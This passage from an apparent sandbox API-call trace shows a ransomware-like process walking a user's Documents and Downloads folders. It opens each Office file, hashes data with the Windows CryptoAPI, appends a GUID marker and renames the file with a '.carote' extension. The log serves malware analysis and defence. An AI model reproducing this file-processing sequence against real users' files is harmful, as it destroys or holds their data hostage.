lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.186] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=38309) returned 1 [0112.186] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.187] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x957f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.187] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.189] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x95a5, lpOverlapped=0x0) returned 1 [0112.190] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.190] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.190] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.190] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.191] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.191] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.191] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.191] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.191] GetLastError () returned 0x0 [0112.191] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.191] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.191] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x95a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.191] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.191] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.191] CloseHandle (hObject=0x61c) returned 1 [0112.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFglAG bSH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfglag bsh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFglAG bSH.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfglag bsh.xlsx.carote")) returned 1 [0112.193] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb511180, ftCreationTime.dwHighDateTime=0x1d5072e, ftLastAccessTime.dwLowDateTime=0x9724f660, ftLastAccessTime.dwHighDateTime=0x1d4e9c8, ftLastWriteTime.dwLowDateTime=0x9724f660, ftLastWriteTime.dwHighDateTime=0x1d4e9c8, nFileSizeHigh=0x0, nFileSizeLow=0x13376, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wq8G.xlsx", cAlternateFileName="WQ8G~1.XLS")) returned 1 [0112.193] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wq8G.xlsx") returned=".xlsx" [0112.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wq8G.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wq8g.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.194] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=78710) returned 1 [0112.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.195] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.195] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.197] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13376, lpOverlapped=0x0) returned 1 [0112.198] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.198] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.198] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.198] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.198] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.198] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.198] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.199] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.199] GetLastError () returned 0x0 [0112.199] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.199] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.199] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13376, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.199] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.199] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.199] CloseHandle (hObject=0x61c) returned 1 [0112.200] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wq8G.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wq8g.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wq8G.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wq8g.xlsx.carote")) returned 1 [0112.201] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb74f2730, ftCreationTime.dwHighDateTime=0x1d52b9f, ftLastAccessTime.dwLowDateTime=0x423901b0, ftLastAccessTime.dwHighDateTime=0x1d4d635, ftLastWriteTime.dwLowDateTime=0x423901b0, ftLastWriteTime.dwHighDateTime=0x1d4d635, nFileSizeHigh=0x0, nFileSizeLow=0xdf68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xBje_MZVdD1M.docx", cAlternateFileName="XBJE_M~1.DOC")) returned 1 [0112.202] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xBje_MZVdD1M.docx") returned=".docx" [0112.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xBje_MZVdD1M.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xbje_mzvdd1m.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.202] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=57192) returned 1 [0112.202] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.204] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdf42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.204] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.205] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xdf68, lpOverlapped=0x0) returned 1 [0112.206] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.206] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.206] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.206] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.206] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.207] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.207] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.207] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.207] GetLastError () returned 0x0 [0112.207] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.207] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.207] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdf68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.207] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.207] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.207] CloseHandle (hObject=0x61c) returned 1 [0112.208] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xBje_MZVdD1M.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xbje_mzvdd1m.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xBje_MZVdD1M.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xbje_mzvdd1m.docx.carote")) returned 1 [0112.209] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc5c540, ftCreationTime.dwHighDateTime=0x1d4f9ca, ftLastAccessTime.dwLowDateTime=0xaf7c9dd0, ftLastAccessTime.dwHighDateTime=0x1d52f4b, ftLastWriteTime.dwLowDateTime=0xaf7c9dd0, ftLastWriteTime.dwHighDateTime=0x1d52f4b, nFileSizeHigh=0x0, nFileSizeLow=0xf9d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yhDls2iW48j.xlsx", cAlternateFileName="YHDLS2~1.XLS")) returned 1 [0112.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yhDls2iW48j.xlsx") returned=".xlsx" [0112.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yhDls2iW48j.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yhdls2iw48j.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.210] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=63954) returned 1 [0112.210] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.211] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf9ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.211] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.212] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xf9d2, lpOverlapped=0x0) returned 1 [0112.213] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.213] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.213] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.213] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.214] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.214] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.214] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.214] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.214] GetLastError () returned 0x0 [0112.214] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.214] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.215] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf9d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.215] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.215] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.215] CloseHandle (hObject=0x61c) returned 1 [0112.216] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yhDls2iW48j.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yhdls2iw48j.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yhDls2iW48j.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yhdls2iw48j.xlsx.carote")) returned 1 [0112.217] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37dcdc0, ftCreationTime.dwHighDateTime=0x1d4e675, ftLastAccessTime.dwLowDateTime=0x40d8b7d0, ftLastAccessTime.dwHighDateTime=0x1d4e66f, ftLastWriteTime.dwLowDateTime=0x40d8b7d0, ftLastWriteTime.dwHighDateTime=0x1d4e66f, nFileSizeHigh=0x0, nFileSizeLow=0x107a7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="za8H7KP3EgJw.pptx", cAlternateFileName="ZA8H7K~1.PPT")) returned 1 [0112.217] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\za8H7KP3EgJw.pptx") returned=".pptx" [0112.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\za8H7KP3EgJw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\za8h7kp3egjw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.217] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=67495) returned 1 [0112.218] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.218] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.219] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.220] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x107a7, lpOverlapped=0x0) returned 1 [0112.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.221] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.222] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.222] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.222] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.222] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.222] GetLastError () returned 0x0 [0112.222] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.222] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.222] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x107a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.222] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.222] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.222] CloseHandle (hObject=0x61c) returned 1 [0112.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\za8H7KP3EgJw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\za8h7kp3egjw.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\za8H7KP3EgJw.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\za8h7kp3egjw.pptx.carote")) returned 1 [0112.225] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zmTKLzB", cAlternateFileName="")) returned 1 [0112.225] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zmTKLzB", cAlternateFileName="")) returned 0 [0112.225] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.225] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.225] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.225] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.225] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.225] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.225] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.225] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.225] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.225] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.225] PathFindFileNameW (pszPath="") returned="" [0112.225] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.226] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.226] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.226] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.226] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x7a3f060 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0112.226] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.226] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.226] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 